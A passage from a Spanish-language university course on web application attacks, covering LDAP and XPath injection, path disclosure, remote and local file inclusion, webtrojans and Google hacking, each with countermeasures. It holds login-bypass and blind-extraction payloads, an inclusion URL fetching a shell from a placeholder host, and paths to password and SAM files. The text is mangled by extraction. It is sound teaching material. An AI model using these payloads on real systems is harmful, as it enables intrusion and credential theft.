los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
